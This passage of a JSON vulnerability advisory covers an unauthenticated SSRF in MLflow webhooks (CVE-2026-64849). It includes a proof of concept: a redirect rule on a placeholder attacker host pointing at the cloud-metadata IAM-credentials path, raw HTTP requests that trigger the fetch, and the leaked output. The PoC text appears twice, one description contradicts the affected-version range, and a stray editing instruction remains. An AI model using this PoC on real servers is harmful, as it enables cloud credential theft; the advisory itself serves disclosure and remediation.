allow_redirects=False -> 302 followed; redirect Location never re-validated\n```\ntest_webhook returns response_status and response_body to the caller.\nBypass vectors:\n\nRedirect-follow (reliable): attacker's allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it.\nDNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning.\n\n### PoC\nAll requests are unauthenticated, sent to the MLflow tracking server (`{{TARGET}}`). The SSRF\nfetch is performed by the MLflow server itself; the internal response is reflected back in the\n`/test` response. `{{ATTACKER}}` is a host the researcher controls that resolves to a public IP\nand serves HTTPS with a valid certificate, returning a 302 redirect to an internal target.\n\nAttacker redirect server (on {{ATTACKER}}, valid TLS cert):\n nginx: location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }\n\nStep 0 — negative control (proves the guard is active; the naive internal URL is rejected):\n\n POST /api/2.0/mlflow/webhooks HTTP/1.1\n Host: {{TARGET}}\n Content-Type: application/json\n\n {\"name\":\"neg\",\"url\":\"http://127.0.0.1:6379/\",\"events\":[{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}]}\n\n -> 400 {\"message\":\"Invalid webhook URL scheme: 'http'. Allowed schemes are: https.\"}\n (an https://127.0.0.1/ variant is likewise rejected as a non-public IP)\n\n\"image\"\n\n\nStep 1 — create a webhook pointing at the attacker's public HTTPS host (passes _validate_webhook_url):\n\n POST /api/2.0/mlflow/webhooks HTTP/1.1\n Host: {{TARGET}}\n Content-Type: application/json\n\n {\"name\":\"poc\",\"url\":\"https://{{ATTACKER}}/innocent\",\"events\":[{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}]}\n\n -> 200 {\"webhook\":{\"webhook_id\":\"\", ... ,\"status\":\"ACTIVE\"}}\n\n\"image\"\n\n\nStep 2 — fire it via the unauthenticated /test endpoint; the internal response body is returned:\n\n POST /api/2.0/mlflow/webhooks//test HTTP/1.1\n Host: {{TARGET}}\n Content-Type: application/json\n\n {\"webhook_id\":\"\",\"event\":{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}}\n\n -> 200 {\"result\":{\"success\":true,\"response_status\":200,\n \"response_body\":\"\"}}\n\n\"image\"\n\n\nConfirmed live against mlflow==3.13.0 (default sqlite server). With the attacker host redirecting\nto a local secret service, Step 2 returned:\n \"response_body\":\"INTERNAL_SECRET=mlflow_ssrf_proof_7f3a91\\nrole=admin\\n\"\n\nFor convenience, the \"my secret data\" is saved in the same location.\n\n\"image\"\n\n\n\nNotes:\n- Webhook `events` enum values must be UPPERCASE proto names (REGISTERED_MODEL, CREATED); lowercase\n maps to ENTITY_UNSPECIFIED and 500s.\n- Default allowed scheme is https only; the first hop must be https, the redirect Location may be http.\n- Webhooks require a SQL store; the default `mlflow server` (sqlite:///mlflow.db) qualifies. No auth needed.\n\n- Credit / independent discovery: Originally reported privately by @freeman-bb via this advisory on 2026-06-12. The same vulnerability was independently discovered through code review and reported publicly by @AUTHENSOR in issue #24179 on 2026-06-26. Fixed in PR #24258. Discovery priority belongs to @freeman-bb; @AUTHENSOR is credited as an independent finder.\n\n### Impact\nAn unauthenticated attacker who can reach the tracking server makes the server issue HTTP requests to arbitrary internal/loopback/cloud-metadata endpoints and reads the responses via /test: cloud instance-metadata (e.g. AWS IMDS IAM credentials), internal-only admin services behind the network boundary, and internal port/host scanning. The event-driven delivery path gives the same SSRF blindly; /test makes it full-read. This is an incomplete fix of the PR #20747 guard, confirmed present on the latest release (3.13.0) and on master. Not a duplicate of CVE-2025-14279 (browser-side rebinding CSRF, CWE-352).\n\n### Fix\n\nFixed in https://github.com/mlflow/mlflow/pull/24258 (commit `ba94952247`), which adds connection-time SSRF protection (`SSRFProtectedHTTPAdapter`): the peer IP of each connected socket is validated against public-IP rules immediately after `connect()`, before any TLS/HTTP exchange. This covers the redirect targets as well (each redirect opens a new connection through the protected pool), closing both the 302-read and 307/308-write variants and the DNS-rebinding TOCTOU.\n\n### Redirect variants\n\nThe same missing re-validation enables two distinct primitives depending on the redirect status code:\n\n- **302 (read):** the redirect target is fetched with GET and, because `POST /api/2.0/mlflow/webhooks/{id}/test` reflects the upstream response body (`WebhookTestResult.response_body`), the attacker reads arbitrary internal HTTP responses (cloud metadata, internal services).\n- **307 / 308 (blind write):** these preserve the original POST method and body, so the attacker can POST attacker-controlled payloads into private-network management endpoints that act on POST (e.g. Docker daemon `/stop`, Elasticsearch `/_close`, Spring Boot Actuator `/shutdown`).\n\nNeither requires authentication on a default OSS server.\n\nThen add a fix reference near the top or in a \"Remediation\" note:", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/PyPI%2FGHSA-7gwp-5pfp-969j.json?alt=media" }, { "category": "description", "text": "MLflow > 3.15.0 contains an information disclosure vulnerability caused by improper validation of webhook URLs allowing attackers to reach internal or cloud metadata services and obtain response details, exploit requires unauthenticated access to the webhook test endpoint.\n", "title": "nucleitemplates - https://github.com/projectdiscovery/nuclei-templates/raw/f6cfec11b138c96f3b22811dddfa8190b767f83d/http%2Fcves%2F2026%2FCVE-2026-64849.yaml" }, { "category": "description", "text": "MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. Prior to 3.15.0, the unauthenticated POST /api/2.0/mlflow/webhooks/{id}/test endpoint calls _validate_webhook_url() in mlflow/utils/validation.py only for the original URL while mlflow/webhooks/delivery.py follows redirects and re-resolves the hostname without pinning the validated address, allowing attackers to reach internal or cloud metadata services and receive response_status and response_body. This issue is fixed in version 3.15.0.", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-64849.json?alt=media" }, { "category": "description", "text": "MLflow > 3.15.0 contains an information disclosure vulnerability caused by improper validation of webhook URLs allowing attackers to reach internal or cloud metadata services and obtain response details, exploit requires unauthenticated access to the webhook test endpoint.\n", "title": "nucleitemplates - https://github.com/projectdiscovery/nuclei-templates/raw/213824d5bc2b00d2b5a6b0e24561303a227f9a1a/http%2Fcves%2F2026%2FCVE-2026-64849.yaml" }, { "category": "description", "text": "MLflow contains a server-side request forgery vulnerability that can allow attackers to reach internal or cloud metadata services and receive response_status and response_body.\nApply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.", "title": "cisagov - https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json" }, { "category": "description", "text": "MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. Prior to 3.15.0, the unauthenticated POST /api/2.0/mlflow/webhooks/{id}/test endpoint calls _validate_webhook_url() in mlflow/utils/validation.py only for the original URL while mlflow/webhooks/delivery.py follows redirects and re-resolves the hostname without pinning the validated address, allowing attackers to reach internal or cloud metadata services and receive response_status and response_body. This issue is fixed in version 3.15.0.", "title": "euvdkev - https://euvdservices.enisa.europa.eu/api/search?fromScore=0&toScore=10&fromEpss=0&toEpss=100&exploited=true&page=0&size=50" }, { "category": "description", "text": "### Summary\nThe default MLflow Tracking Server (`mlflow server`, no authentication, default SQLite backend) exposes the model-registry webhooks API unauthenticated, including a synchronous `POST /api/2.0/mlflow/webhooks/{id}/test` endpoint that returns the upstream response status and body to the caller. The SSRF guard added in PR #20747 (`_validate_webhook_url`, shipped in 3.10.0) resolves the webhook hostname and rejects non-public IPs, but it is bypassable: delivery follows HTTP redirects (no `allow_redirects=False`) and never pins the validated IP. An attacker hosts a public HTTPS endpoint that passes the guard and returns `302 Location: http://169.254.169.254/...` (or `http://127.0.0.1:...`); MLflow follows it and never re-validates the redirect target. Because `/test` reflects the response body, this is an unauthenticated full-read SSRF on a default server.\n\n### Details\nThree facts combine:\n\n1. Webhook endpoints are unauthenticated on a default server. The only webhook authorization lives in the optional auth plugin (`mlflow/server/auth/__init__.py`, `WEBHOOK_BEFORE_REQUEST_HANDLERS`), which is not loaded by default.\n\n2. The guard validates but pins nothing — `mlflow/utils/validation.py` `_validate_webhook_url`:\n```python\nschemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get() # default [\"https\"]\nif parsed_url.scheme not in schemes: raise ...\nif not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get(): # default False\n for addr_info in socket.getaddrinfo(hostname, None):\n ip = ipaddress.ip_address(addr_info[4][0])\n if not ip.is_global: raise ... # blocks RFC1918/loopback/link-local/metadata\n```\nThe resolved IP is never carried into the connection.\n\n3. Delivery follows redirects and re-resolves with no pinning — mlflow/webhooks/delivery.py:\n```python\ndef _create_webhook_session():\n adapter = HTTPAdapter(max_retries=retry_strategy) # retry only; no IP pinning\n ...\ndef _send_webhook_request(webhook, payload, event, session):\n _validate_webhook_url(webhook.url) # re-validates the ORIGINAL url only\n return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout)\n # no allow_redirects=False -> 302 followed; redirect Location never re-validated\n```\ntest_webhook returns response_status and response_body to the caller.\nBypass vectors:\n\nRedirect-follow (reliable): attacker's allow-listed HTTPS host returns 302 to an internal/metadata URL; requests follows it.\nDNS rebinding (TOCTOU): getaddrinfo in the guard and the requests connect resolve independently with no pinning.\n\n### PoC\nAll requests are unauthenticated, sent to the MLflow tracking server (`{{TARGET}}`). The SSRF\nfetch is performed by the MLflow server itself; the internal response is reflected back in the\n`/test` response. `{{ATTACKER}}` is a host the researcher controls that resolves to a public IP\nand serves HTTPS with a valid certificate, returning a 302 redirect to an internal target.\n\nAttacker redirect server (on {{ATTACKER}}, valid TLS cert):\n nginx: location / { return 302 http://169.254.169.254/latest/meta-data/iam/security-credentials/; }\n\nStep 0 — negative control (proves the guard is active; the naive internal URL is rejected):\n\n POST /api/2.0/mlflow/webhooks HTTP/1.1\n Host: {{TARGET}}\n Content-Type: application/json\n\n {\"name\":\"neg\",\"url\":\"http://127.0.0.1:6379/\",\"events\":[{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}]}\n\n -> 400 {\"message\":\"Invalid webhook URL scheme: 'http'. Allowed schemes are: https.\"}\n (an https://127.0.0.1/ variant is likewise rejected as a non-public IP)\n\n\"image\"\n\n\nStep 1 — create a webhook pointing at the attacker's public HTTPS host (passes _validate_webhook_url):\n\n POST /api/2.0/mlflow/webhooks HTTP/1.1\n Host: {{TARGET}}\n Content-Type: application/json\n\n {\"name\":\"poc\",\"url\":\"https://{{ATTACKER}}/innocent\",\"events\":[{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}]}\n\n -> 200 {\"webhook\":{\"webhook_id\":\"\", ... ,\"status\":\"ACTIVE\"}}\n\n\"image\"\n\n\nStep 2 — fire it via the unauthenticated /test endpoint; the internal response body is returned:\n\n POST /api/2.0/mlflow/webhooks//test HTTP/1.1\n Host: {{TARGET}}\n Content-Type: application/json\n\n {\"webhook_id\":\"\",\"event\":{\"entity\":\"REGISTERED_MODEL\",\"action\":\"CREATED\"}}\n\n -> 200 {\"result\":{\"success\":true,\"response_status\":200,\n \"response_body\":\"\"}}\n\n\"image\"\n\n\nConfirmed live against mlflow==3.13.0 (default sqlite server). With the attacker host redirecting\nto a local secret service, Step 2 returned:\n \"response_body\":\"INTERNAL_SECRET=mlflow_ssrf_proof_7f3a91\\nrole=admin\\n\"\n\nFor convenience, the \"my secret data\" is saved in the same location.\n\n\"image\"\n\n\n\nNotes:\n- Webhook `events` enum values must be UPPERCASE proto names (REGISTERED_MODEL, CREATED); lowercase\n maps to ENTITY_UNSPECIFIED and 500s.\n- Default allowed scheme is https only; the first hop must be https, the redirect Location may be http.\n- Webhooks require a SQL store; the default `mlflow server` (sqlite:///mlflow.db) qualifies. No auth needed.\n\n- Credit / independent discovery: Originally reported privately by @freeman-bb via this advisory on 2026-06-12. The same vulnerability was independently discovered through code review and reported publicly by @AUTHENSOR in issue #24179 on 2026-06-26. Fixed in PR #24258. Discovery priority belongs to @freeman-bb; @AUTHENSOR is credited as an independent finder.\n\n### Impact\nAn unauthenticated attacker who can reach the tracking server makes the server issue HTTP requests to arbitrary internal/loopback/cloud-metadata endpoints and reads the responses via /test: cloud instance-metadata (e.g. AWS IMDS IAM credentials), internal-only admin services behind the network boundary, and internal port/host scanning. The event-driven delivery path gives the same SSRF blindly; /test makes it full-read. This is an incomplete fix of the PR #20747 guard, confirmed present on the latest release (3.13.0) and on master. Not a duplicate of CVE-2025-14279 (browser-side rebinding CSRF, CWE-352).\n\n### Fix\n\nFixed in https://github.com/mlflow/mlflow/pull/24258 (commit `ba94952247`), which adds connection-time SSRF protection (`SSRFProtectedHTTPAdapter`): the peer IP of each connected socket is validated against public-IP rules immediately after `connect()`, before any TLS/HTTP exchange. This covers the redirect targets as well (each redirect opens a new connection through the protected pool), closing both the 302-read and 307/308-write variants and the DNS-rebinding TOCTOU.\n\n### Redirect variants\n\nThe same missing re-validation enables two distinct primitives depending on the redirect status code:\n\n- **302 (read):** the redirect target is fetched with GET and, because `POST /api/2.0/mlflow/webhooks/{id}/test` reflects the upstream response body (`WebhookTestResult.response_body`), the attacker reads arbitrary internal HTTP responses (cloud metadata, internal services).\n- **307 / 308 (blind write):** these preserve the original POST method and body, so the attacker can POST attacker-controlled payloads into private-network management endpoints that act on POST (e.g. Docker daemon `/stop`, Elasticsearch `/_close`, Spring Boot Actuator `/shutdown`).\n\nNeither requires authentication on a default OSS server.\n\nThen add a fix reference near the top or in a \"Remediation\" note:", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/PyPI%2FPYSEC-2026-3687.json?alt=media" }, { "category": "description", "text": "MLflow is an open source AI engineering platform for agents, large language models, and machine learning models. Prior to 3.15.0, the unauthenticated POST /api/2.0/mlflow/webhooks/{id}/test endpoint calls _validate_webhook_url() in mlflow/utils/validation.py only for the original URL while mlflow/webhooks/delivery.py follows redirects and re-resolves the hostname without pinning the validated address, allowing attackers to reach internal or cloud metadata services and receive response_status and response_body. This issue is fixed in version 3.15.0.", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Bitnami%2FBIT-mlflow-2026-64849.json?alt=media" }, { "category": "other", "text": "0.1641", "title": "EPSS" }, { "category": "other", "text": "5.7", "title": "NCSC Score" }, { "category": "other", "text": "There is cvss data available from a private source, There is product data available from source Certbundde, There is product data available from a private source, There is news data available from source Bleepingcomputer", "title": "NCSC Score top increasing factors" }, { "category": "other", "text": "Is related to an uncommon product vendor, There is exploit data available from source Nvd, Is related to (a version of) an uncommon product", "title": "NCSC Score top decreasing factors" } ], "product_status": { "known_affected": [ "CSAFPID-9002532", "CSAFPID-1037293", "CSAFPID-1037294", "CSAFPID-1037973", "CSAFPID-1076986", "CSAFPID-1081336", "CSAFPID-1081337", "CSAFPID-1081338", "CSAFPID-1104447", "CSAFPID-1104448", "CSAFPID-1104449", "CSAFPID-1104450", "CSAFPID-1104452", "CSAFPID-1104453", "CSAFPID-1104454", "CSAFPID-1104455", "CSAFPID-1104456", "CSAFPID-2536957", "CSAFPID-2536958", "CSAFPID-2536959", "CSAFPID-2536960", "CSAFPID-2536961", "CSAFPID-3237077", "CSAFPID-3237078", "CSAFPID-3237079", "CSAFPID-3237080", "CSAFPID-3237081", "CSAFPID-3237082", "CSAFPID-3237083", "CSAFPID-3237084", "CSAFPID-3237085", "CSAFPID-3237086", "CSAFPID-3237087", "CSAFPID-3237088", "CSAFPID-3237089", "CSAFPID-3237090", "CSAFPID-3237091", "CSAFPID-3237092", "CSAFPID-3237093", "CSAFPID-3237094", "CSAFPID-3237095", "CSAFPID-3237096", "CSAFPID-3237097", "CSAFPID-3237098", "CSAFPID-3237099", "CSAFPID-3237100", "CSAFPID-3237101", "CSAFPID-3237102", "CSAFPID-3237103", "CSAFPID-3237104", "CSAFPID-3237105", "CSAFPID-3237106", "CSAFPID-3237107", "CSAFPID-3237108", "CSAFPID-3237109", "CSAFPID-3237110", "CSAFPID-3237111", "CSAFPID-3237112", "CSAFPID-3237113", "CSAFPID-3237114", "CSAFPID-3237115", "CSAFPID-3237116", "CSAFPID-3237117", "CSAFPID-3237118", "CSAFPID-3237119", "CSAFPID-3237120", "CSAFPID-3237121", "CSAFPID-3237122", "CSAFPID-3237123", "CSAFPID-3237124", "CSAFPID-3237125", "CSAFPID-3237126", "CSAFPID-3237127", "CSAFPID-3237128", "CSAFPID-3237129", "CSAFPID-3237130", "CSAFPID-3237131", "CSAFPID-3237132", "CSAFPID-3237133", "CSAFPID-3237134", "CSAFPID-3237135", "CSAFPID-3237136", "CSAFPID-3237137", "CSAFPID-3237138", "CSAFPID-3237139", "CSAFPID-3237140", "CSAFPID-3237141", "CSAFPID-3237142", "CSAFPID-3237143", "CSAFPID-3237144", "CSAFPID-3237145", "CSAFPID-3237146", "CSAFPID-3237147", "CSAFPID-3237148", "CSAFPID-3237149", "CSAFPID-3249345", "CSAFPID-3249346", "CSAFPID-3249347", "CSAFPID-3249348", "CSAFPID-3249349", "CSAFPID-3249350", "CSAFPID-3249351", "CSAFPID-3249352", "CSAFPID-3249353", "CSAFPID-3249354", "CSAFPID-3249355", "CSAFPID-3249356", "CSAFPID-3249357", "CSAFPID-3249358", "CSAFPID-3273616", "CSAFPID-3273617", "CSAFPID-3273618", "CSAFPID-3273619", "CSAFPID-3273620", "CSAFPID-3273621", "CSAFPID-3273622", "CSAFPID-3273624", "CSAFPID-3273625", "CSAFPID-3273626", "CSAFPID-3273627", "CSAFPID-3273628", "CSAFPID-3273629", "CSAFPID-3273630", "CSAFPID-3273631", "CSAFPID-3273632", "CSAFPID-3273633", "CSAFPID-3273634", "CSAFPID-3273635", "CSAFPID-3273636", "CSAFPID-3273637", "CSAFPID-3273638", "CSAFPID-3273639", "CSAFPID-3273640", "CSAFPID-3273641", "CSAFPID-3273642", "CSAFPID-3273643", "CSAFPID-3273644", "CSAFPID-3273645", "CSAFPID-3273646", "CSAFPID-3273647", "CSAFPID-3273648", "CSAFPID-3273649", "CSAFPID-3699081", "CSAFPID-4839797", "CSAFPID-4839798", "CSAFPID-4839799", "CSAFPID-4839800", "CSAFPID-4839801", "CSAFPID-4839802", "CSAFPID-4839803", "CSAFPID-4839804", "CSAFPID-4839805", "CSAFPID-4839806", "CSAFPID-4839807", "CSAFPID-4839808", "CSAFPID-4839809", "CSAFPID-5230716", "CSAFPID-5230717", "CSAFPID-5415450", "CSAFPID-5902362", "CSAFPID-5902363", "CSAFPID-5902364", "CSAFPID-5902365", "CSAFPID-5902366", "CSAFPID-5902367", "CSAFPID-5902368", "CSAFPID-5902369", "CSAFPID-5902370", "CSAFPID-6005855", "CSAFPID-6005856", "CSAFPID-6211381", "CSAFPID-6211382", "CSAFPID-6211383", "CSAFPID-6211384", "CSAFPID-6211385", "CSAFPID-6211386", "CSAFPID-6917358", "CSAFPID-8934391", "CSAFPID-8982474", "CSAFPID-8982475", "CSAFPID-8982476", "CSAFPID-9002695", "CSAFPID-9002710", "CSAFPID-9002711", "CSAFPID-3454651", "CSAFPID-3454652", "CSAFPID-3454653", "CSAFPID-3454654", "CSAFPID-3454655", "CSAFPID-3454656", "CSAFPID-3454657", "CSAFPID-3454658", "CSAFPID-3454659", "CSAFPID-3454660", "CSAFPID-3454661", "CSAFPID-3454662", "CSAFPID-3454663", "CSAFPID-3688397", "CSAFPID-5424223", "CSAFPID-8758706", "CSAFPID-8758707", "CSAFPID-8758708", "CSAFPID-8758709", "CSAFPID-8758710", "CSAFPID-9007127", "CSAFPID-9014698", "CSAFPID-9015596", "CSAFPID-9015638", "CSAFPID-9033545" ], "last_affected": [ "CSAFPID-9026803" ] }, "references": [ { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Bitnami%2FBIT-mlflow-2026-64849.json?alt=media" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/PyPI%2FGHSA-7gwp-5pfp-969j.json?alt=media" }, { "category": "external", "summary": "Source - nvd", "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-64849" }, { "category": "external", "summary": "Source - cveprojectv5", "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/64xxx/CVE-2026-64849.json" }, { "category": "external", "summary": "Source - github", "url": "https://api.github.com/advisories/GHSA-7gwp-5pfp-969j" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2026-64849.json?alt=media" }, { "category": "external", "summary": "Source - nucleitemplates", "url": "https://github.com/projectdiscovery/nuclei-templates/raw/f6cfec11b138c96f3b22811dddfa8190b767f83d/http%2Fcves%2F2026%2FCVE-2026-64849.yaml" }, { "category": "external", "summary": "Source - first", "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0" }, { "category": "external", "summary": "Source - nucleitemplates", "url": "https://github.com/projectdiscovery/nuclei-templates/raw/213824d5bc2b00d2b5a6b0e24561303a227f9a1a/http%2Fcves%2F2026%2FCVE-2026-64849.yaml" }, { "category": "external", "summary": "Source - cisagov", "url": "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/PyPI%2FPYSEC-2026-3687.json?alt=media" }, { "category": "external", "summary": "Source - euvdkev", "url": "https://euvdservices.enisa.europa.eu/api/search?fromScore=0&toScore=10&fromEpss=0&toEpss=100&exploited=true&page=0&size=50" }, { "category": "external", "summary": "Source - bleepingcomputer", "url": "https://www.bleepingcomputer.com/news/security/cisa-warns-of-hackers-exploiting-critical-mlflow-vulnerability/" }, { "category": "external", "summary": "Source - securitynl", "url": "https://www.security.nl/posting/949898/Kritiek+beveiligingslek+in+AI-platform+MLflow+misbruikt+bij+aanvallen%2C+meldt+VS?channel=rss" }, { "category": "external", "summary": "Source - securityweek", "url": "https://www.securityweek.com/mlflow-vulnerability-exploited-for-cloud-credential-theft/" }, { "category": "external", "summary": "Source - certbundde", "url": "https://wid.cert-bund.de/.well-known/csaf/white/2026/wid-sec-w-2026-2946.json" }, { "category": "external", "summary": "Source - ncscclear", "url": "https://vulnerabilities.ncsc.nl/manual/CVE-2026-64849" }, { "category": "external", "summary": "News - bleepingcomputer", "url": "https://www.bleepingcomputer.com/news/security/cisa-warns-of-hackers-exploiting-critical-mlflow-vulnerability/" }, { "category": "external", "summary": "News - securitynl", "url": "https://www.security.nl/posting/949898/Kritiek+beveiligingslek+in+AI-platform+MLflow+misbruikt+bij+aanvallen%2C+meldt+VS?channel=rss" }, { "category": "external", "summary": "News - securityweek", "url": "https://www.securityweek.com/mlflow-vulnerability-exploited-for-cloud-credential-theft/" }, { "category": "external", "summary": "Reference - certbundde; cveprojectv5; euvdkev; github; nucleitemplates; nvd; osv", "url": "https://github.com/mlflow/mlflow/security/advisories/GHSA-7gwp-5pfp-969j" }, { "category": "external", "summary": "Reference - cisagov; cveprojectv5; euvdkev; github; nvd; osv", "url": "https://github.com/mlflow/mlflow/issues/24179" }, { "category": "external", "summary": "Reference - cisagov; cveprojectv5; euvdkev; github; nucleitemplates; nvd; osv", "url": "https://github.com/mlflow/mlflow/pull/24258" }, { "category": "external", "summary": "Reference - cveprojectv5; euvdkev; github; nvd; osv", "url": "https://github.com/mlflow/mlflow/commit/ba949522477cbd5915aa55d29b0cfad7d5ddf939" }, { "category": "external", "summary": "Reference - cveprojectv5; euvdkev; github; nvd; osv", "url": "https://github.com/mlflow/mlflow/releases/tag/v3.15.0" }, { "category": "external", "summary": "Reference - github; osv", "url": "https://github.com/advisories/GHSA-7gwp-5pfp-969j" }, { "category": "external", "summary": "Reference - osv", "url": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/64xxx/CVE-2026-64849.json" }, { "category": "external", "summary": "Reference - cisagov; osv", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-64849" }, { "category": "external", "summary": "Reference - certbundde; cveprojectv5; nvd; osv", "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-64849" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://wid.cert-bund.de/.well-known/csaf/white/2026/wid-sec-w-2026-2946.json" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://wid.cert-bund.de/portal/wid/securityadvisory?name=WID-SEC-2026-2946" }, { "category": "external", "summary": "Reference - certbundde", "url": "https://github.com/mlflow/mlflow/releases" } ], "scores": [ { "cvss_v3": { "version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N", "baseScore": 9.3, "baseSeverity": "CRITICAL" }, "products": [ "CSAFPID-1037293", "CSAFPID-1037294", "CSAFPID-1037973", "CSAFPID-1076986", "CSAFPID-1081336", "CSAFPID-1081337", "CSAFPID-1081338", "CSAFPID-1104447", "CSAFPID-1104448", "CSAFPID-1104449", "CSAFPID-1104450", "CSAFPID-1104452", "CSAFPID-1104453", "CSAFPID-1104454", "CSAFPID-1104455", "CSAFPID-1104456", "CSAFPID-2536957", "CSAFPID-2536958", "CSAFPID-2536959", "CSAFPID-2536960", "CSAFPID-2536961", "CSAFPID-3237077", "CSAFPID-3237078", "CSAFPID-3237079", "CSAFPID-3237080", "CSAFPID-3237081", "CSAFPID-3237082", "CSAFPID-3237083", "CSAFPID-3237084", "CSAFPID-3237085", "CSAFPID-3237086", "CSAFPID-3237087", "CSAFPID-3237088", "CSAFPID-3237089", "CSAFPID-3237090", "CSAFPID-3237091", "CSAFPID-3237092", "CSAFPID-3237093", "CSAFPID-3237094", "CSAFPID-3237095", "CSAFPID-3237096", "CSAFPID-3237097", "CSAFPID-3237098", "CSAFPID-3237099", "CSAFPID-3237100", "CSAFPID-3237101", "CSAFPID-3237102", "CSAFPID-3237103", "CSAFPID-3237104", "CSAFPID-3237105", "CSAFPID-3237106", "CSAFPID-3237107", "CSAFPID-3237108", "CSAFPID-3237109", "CSAFPID-3237110", "CSAFPID-3237111", "CSAFPID-3237112", "CSAFPID-3237113", "CSAFPID-3237114", "CSAFPID-3237115", "CSAFPID-3237116", "CSAFPID-3237117", "CSAFPID-3237118", "CSAFPID-3237119", "CSAFPID-3237120", "CSAFPID-3237121", "CSAFPID-3237122", "CSAFPID-3237123", "CSAFPID-3237124", "CSAFPID-3237125", "CSAFPID-3237126", "CSAFPID-3237127", "CSAFPID-3237128", "CSAFPID-3237129", "CSAFPID-3237130", "CSAFPID-3237131", "CSAFPID-3237132", "CSAFPID-3237133", "CSAFPID-3237134", "CSAFPID-3237135", "CSAFPID-3237136", "CSAFPID-3237137", "CSAFPID-3237138", "CSAFPID-3237139", "CSAFPID-3237140", "CSAFPID-3237141", "CSAFPID-3237142", "CSAFPID-3237143", "CSAFPID-3237144", "CSAFPID-3237145", "CSAFPID-3237146", "CSAFPID-3237147", "CSAFPID-3237148", "CSAFPID-3237149", "CSAFPID-3249345", "CSAFPID-3249346", "CSAFPID-3249347", "CSAFPID-3249348", "CSAFPID-3249349", "CSAFPID-3249350", "CSAFPID-3249351", "CSAFPID-3249352", "CSAFPID-3249353", "CSAFPID-3249354", "CSAFPID-3249355", "CSAFPID-3249356", "CSAFPID-3249357", "CSAFPID-3249358", "CSAFPID-3273616", "CSAFPID-3273617", "CSAFPID-3273618", "CSAFPID-3273619", "CSAFPID-3273620", "CSAFPID-3273621", "CSAFPID-3273622", "CSAFPID-3273624", "CSAFPID-3273625", "CSAFPID-3273626", "CSAFPID-3273627", "CSAFPID-3273628", "CSAFPID-3273629", "CSAFPID-3273630", "CSAFPID-3273631", "CSAFPID-3273632", "CSAFPID-3273633", "CSAFPID-3273634", "CSAFPID-3273635", "CSAFPID-3273636", "CSAFPID-3273637", "CSAFPID-3273638", "CSAFPID-3273639", "CSAFPID-3273640", "CSAFPID-3273641", "CSAFPID-3273642", "CSAFPID-3273643", "CSAFPID-3273644", "CSAFPID-3273645", "CSAFPID-3273646", "CSAFPID-3273647", "CSAFPID-3273648", "CSAFPID-3273649", "CSAFPID-3454651", "CSAFPID-3454652", "CSAFPID-3454653", "CSAFPID-3454654", "CSAFPID-3454655", "CSAFPID-3454656", "CSAFPID-3454657", "CSAFPID-3454658", "CSAFPID-3454659", "CSAFPID-3454660", "CSAFPID-3454661", "CSAFPID-3454662", "CSAFPID-3454663", "CSAFPID-3688397", "CSAFPID-3699081", "CSAFPID-4839797", "CSAFPID-4839798", "CSAFPID-4839799", "CSAFPID-4839800", "CSAFPID-4839801", "CSAFPID-4839802", "CSAFPID-4839803", "CSAFPID-4839804", "CSAFPID-4839805", "CSAFPID-4839806", "CSAFPID-4839807", "CSAFPID-4839808", "CSAFPID-4839809", "CSAFPID-5230716", "CSAFPID-5230717", "CSAFPID-5415450", "CSAFPID-5424223", "CSAFPID-5902362", "CSAFPID-5902363", "CSAFPID-5902364", "CSAFPID-5902365", "CSAFPID-5902366", "CSAFPID-5902367", "CSAFPID-5902368", "CSAFPID-5902369", "CSAFPID-5902370", "CSAFPID-6005855", "CSAFPID-6005856", "CSAFPID-6211381", "CSAFPID-6211382", "CSAFPID-6211383", "CSAFPID-6211384", "CSAFPID-6211385", "CSAFPID-6211386", "CSAFPID-6917358", "CSAFPID-8758706", "CSAFPID-8758707", "CSAFPID-8758708", "CSAFPID-8758709", "CSAFPID-8758710", "CSAFPID-8934391", "CSAFPID-8982474", "CSAFPID-8982475", "CSAFPID-8982476", "CSAFPID-9002532", "CSAFPID-9002695", "CSAFPID-9002710", "CSAFPID-9002711", "CSAFPID-9007127", "CSAFPID-9014698", "CSAFPID-9015596", 